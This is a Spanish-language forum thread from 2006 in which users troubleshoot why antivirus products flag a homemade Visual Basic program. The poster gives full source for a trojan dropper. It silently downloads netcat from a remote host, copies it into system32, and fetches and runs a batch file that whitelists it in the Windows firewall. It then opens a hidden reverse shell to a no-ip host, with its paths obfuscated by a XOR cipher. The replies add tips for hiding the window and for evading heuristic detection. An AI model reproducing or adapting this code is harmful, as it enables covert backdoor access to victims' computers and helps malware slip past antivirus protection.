Porblema con Shell

Iniciado por ジ, 5 Junio 2006, 18:35 PM

0 Miembros y 1 Visitante están viendo este tema.

LuckyMonkey

Para empezar lo que dice _Sergi_ és cierto, no és shell el que te hace que te salte el nod o el zonealarm o lo que sea.
El problema está en que shell ejecuta a cmd.exe y lo detecta cómo peligroso, así que shellexecute no te solucionará nada.
De todos por si quieres probarlo los parametrós de nc.exe -d -e cmd.exe osea -d -e cmd.exe. tienes que pasarlos en el parámetro de la api lpParameters

queadría así

shellexecute vbnullstring,"Open","c:\nc.exe","-d -e cmd.exe","aqui el path inicial al ejecutarlo o vbnullstring",SW_HIDE
El primer parámetro mejor que sea vbnullstring así no habrá ninguna relación explicita entre tu programa y el programa ejecutado. El path inicial es un parámetro que se les pasa a los programas para establecer el directorio de trabajo, si hicieras cmd.exe y directorio de trabajo c:\windows por ejemplo al ejecutarse estarías inicialmente en esa carpeta.
La última constante no recuerdo si era exactamente así mejor buscala en la msdn.

Citary una mala createprocess  huh disuclpame pero no entiendo que quieres decir..
Me refiero a que como última opción (por ser más complicada que las anteriores, aunque tampoco mucho mas) puedes probar a utilizar dicha api para ejecutar tu programa.
Mira!! detrás de ti!! un mono de tres cabezas!!

Buenas pongo el codigo haber si alguien asi le queda más claro de porque me lo detecta nod32, panda y antivir ( solo estos 3 )
es una aplicacion que descarga netcat de modo silencioso, lo guarda en c y lo copia a system32, luego baja un bat tb que lo ejecuta y nos da paso el fw de windows (nos incluye en la lista de programas permitidos) y por último ejecuta el netcat para hacer reverse shell, salu2. Pongo el codigo:

Private Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal reserved As Long, ByVal dwType As Long, ByVal lpData As String, ByVal cbData As Long) As Long
Private Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Private Const SW_NORMAL = 1
Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long     'api necesaria para el descargar algo de internet

Option Explicit



Private Sub Form_Load()

Text1.Text = Cript(Text1.Text, 3)
Text2.Text = Cript(Text2.Text, 3)
Text3.Text = Cript(Text3.Text, 3)

DownloadFile "http://host.usr/my_user/nc.exe", DesCript(Text1.Text, 3)
End Sub

[color=Red]Funcion que no permite descargar un archivo desde vb:[/color]

Public Function DownloadFile(URL As String, LocalFilename As String) As Boolean 
    Dim lngRetVal As Long
    lngRetVal = URLDownloadToFile(0, URL, LocalFilename, 0, 0)
    If lngRetVal = 0 Then DownloadFile = True
End Function

[color=Brown]Timer que permite copiar el netcat desde c a system32 en winXP[/color]

Private Sub Timer_copync_Timer()
On Error Resume Next
FileCopy DesCript(Text1.Text, 3), DesCript(Text2.Text, 3) 'copia el netcat a system32 en win xp
Timer_copync.Enabled = False
End Sub

[color=Brown]Timer que permite copiar el netcat desde c a system32 en win2000[/color]

Private Sub Timer_copync2k_Timer()
On Error Resume Next
FileCopy DesCript(Text1.Text, 3), DesCript(Text3.Text, 3)
Timer_copync2k.Enabled = False
End Sub

[color=Blue]Timer que ejecuta netcat + cmd con la sintasis que he elejido:[/color]

Private Sub Timer1_Timer()
On Error Resume Next
Shell ("cmd.exe /c winnc -d -e cmd.exe HOST.no-ip.com 6669"), vbHide
Timer1.Enabled = False
End Sub

[color=Green]Timer que hace que descarge un bat de un host ( y luego lo ejecute[/color]

Private Sub Timer2_Timer()
On Error Resume Next
Dim ejecuk As Long

DownloadFile "http://host.usr/my_user/nancy32.bat", "C:\WINDOWS\system32\nancy32.bat" 

ejecuk = ShellExecute(Me.hwnd, "Open", "c:\windows\system32\nancy32.bat", "", "", 1)

Timer2.Enabled = False
End Sub

[color=Red]Funcion para cifrar:[/color]

Private Function Cript(txt, Optional semilla = 45) As String
On Error Resume Next
Dim i
Dim l
Dim txt2


For i = 1 To Len(txt)
l = Mid(txt, i, 1)
l = 155 - Asc(l)
txt2 = txt2 + Chr(l)
Next
txt = txt2
For i = 1 To Len(txt)
l = Mid(txt, i, 1)
l = Asc(l) Xor semilla
Cript = Cript & l & Chr(164)
DoEvents
Next
End Function

[color=Red]Funcion para descifrar:[/color]

Private Function DesCript(txt, Optional semilla = 45) As String
On Error Resume Next
Dim i
Dim l
Dim pal
Dim txt3
Dim c

For i = 1 To Len(txt)
l = Mid(txt, i, 1)
If l = Chr(164) Then
l = pal Xor semilla
c = semilla Xor pal
l = Chr(l)
DesCript = DesCript & l
pal = ""
Else
pal = pal & l
End If
DoEvents
Next
For i = 1 To Len(DesCript)
l = Mid(DesCript, i, 1)
l = 155 - Asc(l)
txt3 = txt3 + Chr(l)
Next
DesCript = txt3
End Function
el tiempo pondrá a cada uno en su lugar

Podria ser como dicen en un post de troyanos y virus la combinacion de la api para descargar el file y de la instrucion shell lo que me este detectando nod32 ???
el tiempo pondrá a cada uno en su lugar

NYlOn

#13
Si, es posible que la combinacion sea el problema. Tambien puede ser que detecte las modificaciones en el registro.
Intenta cambiar el codigo de lugar, es decir, sacar lo que esta en el Load y ponerlo en otro lado (un timer x ejemplo...).
Y te recomiendo que averigues como funciona el tema de la heuristica...

Saludos.-